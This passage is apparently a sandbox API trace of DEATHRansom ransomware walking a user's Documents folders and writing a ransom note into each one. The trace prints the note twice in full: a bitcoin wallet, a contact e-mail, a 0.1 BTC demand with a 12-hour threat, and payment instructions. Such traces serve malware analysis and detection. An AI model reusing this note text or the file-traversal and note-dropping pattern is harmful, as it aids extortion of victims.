05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.974] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0077.975] CloseHandle (hObject=0x7a4) returned 1 [0077.976] GetProcessHeap () returned 0x540000 [0077.976] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41f20b0 | out: hHeap=0x540000) returned 1 [0077.976] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf80f9d20, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xf80f9d20, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0077.976] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 43 [0077.976] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0077.976] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f20b0 [0077.976] lstrcpyW (in: lpString1=0x41f20b0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0077.976] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 45 [0077.976] QueueUserWorkItem (Function=0x40a710, Context=0x41f20b0, Flags=0x0) returned 1 [0077.976] GetProcessHeap () returned 0x540000 [0077.976] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42220c8 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned 45 [0077.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf80f9d20, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xf80f9d20, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\.") returned 45 [0077.976] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.976] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.976] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf80f9d20, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xf80f9d20, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\..") returned 46 [0077.976] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.976] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbb5770, ftCreationTime.dwHighDateTime=0x1d5905e, ftLastAccessTime.dwLowDateTime=0x607f9dc0, ftLastAccessTime.dwHighDateTime=0x1d531dc, ftLastWriteTime.dwLowDateTime=0x607f9dc0, ftLastWriteTime.dwHighDateTime=0x1d531dc, nFileSizeHigh=0x0, nFileSizeLow=0x13f72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0c5Q-gE5.xlsx", cAlternateFileName="0C5Q-G~1.XLS")) returned 1 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0c5Q-gE5.xlsx") returned 57 [0077.976] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a07500, ftCreationTime.dwHighDateTime=0x1d4caf6, ftLastAccessTime.dwLowDateTime=0xe55e8630, ftLastAccessTime.dwHighDateTime=0x1d4ce5b, ftLastWriteTime.dwLowDateTime=0xe55e8630, ftLastWriteTime.dwHighDateTime=0x1d4ce5b, nFileSizeHigh=0x0, nFileSizeLow=0xdbc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0O31bZuDCP_.pps", cAlternateFileName="0O31BZ~1.PPS")) returned 1 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0O31bZuDCP_.pps") returned 59 [0077.976] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f68a350, ftCreationTime.dwHighDateTime=0x1d5459c, ftLastAccessTime.dwLowDateTime=0xe1c6f230, ftLastAccessTime.dwHighDateTime=0x1d557b0, ftLastWriteTime.dwLowDateTime=0xe1c6f230, ftLastWriteTime.dwHighDateTime=0x1d557b0, nFileSizeHigh=0x0, nFileSizeLow=0x13d87, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2DjSQZdm.xlsx", cAlternateFileName="2DJSQZ~1.XLS")) returned 1 [0077.976] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2DjSQZdm.xlsx") returned 57 [0077.977] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x496d8540, ftLastAccessTime.dwHighDateTime=0x1d4cdc6, ftLastWriteTime.dwLowDateTime=0x496d8540, ftLastWriteTime.dwHighDateTime=0x1d4cdc6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3kVF", cAlternateFileName="")) returned 1 [0077.977] wnsprintfW (in: pszDest=0x42220c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF") returned 48 [0077.977] lstrcmpW (lpString1="3kVF", lpString2="..") returned 1 [0077.977] lstrcmpW (lpString1="3kVF", lpString2=".") returned 1 [0077.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42620e8 [0077.977] lstrcpyW (in: lpString1=0x42620e8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF" [0077.977] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 46 [0077.977] QueueUserWorkItem (Function=0x40a710, Context=0x42620e8, Flags=0x0) returned 1 [0077.977] GetProcessHeap () returned 0x540000 [0077.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42720f0 [0077.978] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\*") returned 50 [0077.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x496d8540, ftLastAccessTime.dwHighDateTime=0x1d4cdc6, ftLastWriteTime.dwLowDateTime=0x496d8540, ftLastWriteTime.dwHighDateTime=0x1d4cdc6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0077.978] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\.") returned 50 [0077.978] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.978] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.978] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x496d8540, ftLastAccessTime.dwHighDateTime=0x1d4cdc6, ftLastWriteTime.dwLowDateTime=0x496d8540, ftLastWriteTime.dwHighDateTime=0x1d4cdc6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.978] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\..") returned 51 [0077.978] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.978] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x751f7300, ftLastAccessTime.dwHighDateTime=0x1d4d00b, ftLastWriteTime.dwLowDateTime=0x751f7300, ftLastWriteTime.dwHighDateTime=0x1d4d00b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9c R7b", cAlternateFileName="9CR7B~1")) returned 1 [0077.978] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b") returned 55 [0077.978] lstrcmpW (lpString1="9c R7b", lpString2="..") returned 1 [0077.978] lstrcmpW (lpString1="9c R7b", lpString2=".") returned 1 [0077.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0077.979] lstrcpyW (in: lpString1=0x42820f8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b" [0077.979] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 47 [0077.979] QueueUserWorkItem (Function=0x40a710, Context=0x42820f8, Flags=0x0) returned 1 [0077.979] GetProcessHeap () returned 0x540000 [0077.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0077.980] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\*") returned 57 [0077.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x751f7300, ftLastAccessTime.dwHighDateTime=0x1d4d00b, ftLastWriteTime.dwLowDateTime=0x751f7300, ftLastWriteTime.dwHighDateTime=0x1d4d00b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0077.980] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\.") returned 57 [0077.980] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.980] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.988] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x751f7300, ftLastAccessTime.dwHighDateTime=0x1d4d00b, ftLastWriteTime.dwLowDateTime=0x751f7300, ftLastWriteTime.dwHighDateTime=0x1d4d00b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\..") returned 58 [0078.044] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.044] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38cc6b50, ftCreationTime.dwHighDateTime=0x1d4c530, ftLastAccessTime.dwLowDateTime=0x36e7f2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf9e, ftLastWriteTime.dwLowDateTime=0x36e7f2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf9e, nFileSizeHigh=0x0, nFileSizeLow=0x7a07, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="41n8.pdf", cAlternateFileName="")) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\41n8.pdf") returned 64 [0078.044] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff16500, ftCreationTime.dwHighDateTime=0x1d4d420, ftLastAccessTime.dwLowDateTime=0x7d32c040, ftLastAccessTime.dwHighDateTime=0x1d4cbee, ftLastWriteTime.dwLowDateTime=0x7d32c040, ftLastWriteTime.dwHighDateTime=0x1d4cbee, nFileSizeHigh=0x0, nFileSizeLow=0x790f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HQ9eHtJ JVlb.pdf", cAlternateFileName="HQ9EHT~1.PDF")) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\HQ9eHtJ JVlb.pdf") returned 72 [0078.044] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a061310, ftCreationTime.dwHighDateTime=0x1d4cf5e, ftLastAccessTime.dwLowDateTime=0xe11880e0, ftLastAccessTime.dwHighDateTime=0x1d4cb62, ftLastWriteTime.dwLowDateTime=0xe11880e0, ftLastWriteTime.dwHighDateTime=0x1d4cb62, nFileSizeHigh=0x0, nFileSizeLow=0x16b4b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="i2NDiJD.csv", cAlternateFileName="")) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\i2NDiJD.csv") returned 67 [0078.044] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5001a500, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0xd30ac030, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0xd30ac030, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x10d0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LG-m0ZL7LbL1q fouvr.pdf", cAlternateFileName="LG-M0Z~1.PDF")) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\LG-m0ZL7LbL1q fouvr.pdf") returned 79 [0078.044] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5001a500, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0xd30ac030, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0xd30ac030, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x10d0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LG-m0ZL7LbL1q fouvr.pdf", cAlternateFileName="LG-M0Z~1.PDF")) returned 0 [0078.044] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0078.044] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\read_me.txt") returned 67 [0078.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0078.045] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.045] WriteFile (in: hFile=0x7bc, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17eba4, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17eba4*=0x6b3, lpOverlapped=0x0) returned 1 [0078.046] CloseHandle (hObject=0x7bc) returned 1 [0078.046] GetProcessHeap () returned 0x540000 [0078.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.046] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5c42310, ftCreationTime.dwHighDateTime=0x1d4c5ee, ftLastAccessTime.dwLowDateTime=0x8ec65980, ftLastAccessTime.dwHighDateTime=0x1d4c7ec, ftLastWriteTime.dwLowDateTime=0x8ec65980, ftLastWriteTime.dwHighDateTime=0x1d4c7ec, nFileSizeHigh=0x0, nFileSizeLow=0x14fde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="akYo4q.pdf", cAlternateFileName="")) returned 1 [0078.046] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\akYo4q.pdf") returned 59 [0078.046] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x6578dde0, ftLastAccessTime.dwHighDateTime=0x1d4ccd4, ftLastWriteTime.dwLowDateTime=0x6578dde0, ftLastWriteTime.dwHighDateTime=0x1d4ccd4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bz53hXV-ojIo9T", cAlternateFileName="BZ53HX~1")) returned 1 [0078.046] wnsprintfW (in: pszDest=0x42720f0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T") returned 63 [0078.046] lstrcmpW (lpString1="Bz53hXV-ojIo9T", lpString2="..") returned 1 [0078.046] lstrcmpW (lpString1="Bz53hXV-ojIo9T", lpString2=".") returned 1 [0078.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0078.046] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T" [0078.046] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 48 [0078.046] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0078.046] GetProcessHeap () returned 0x540000 [0078.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\*") returned 65 [0078.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x6578dde0, ftLastAccessTime.dwHighDateTime=0x1d4ccd4, ftLastWriteTime.dwLowDateTime=0x6578dde0, ftLastWriteTime.dwHighDateTime=0x1d4ccd4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0078.047] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\.") returned 65 [0078.047] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0078.047] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0078.047] 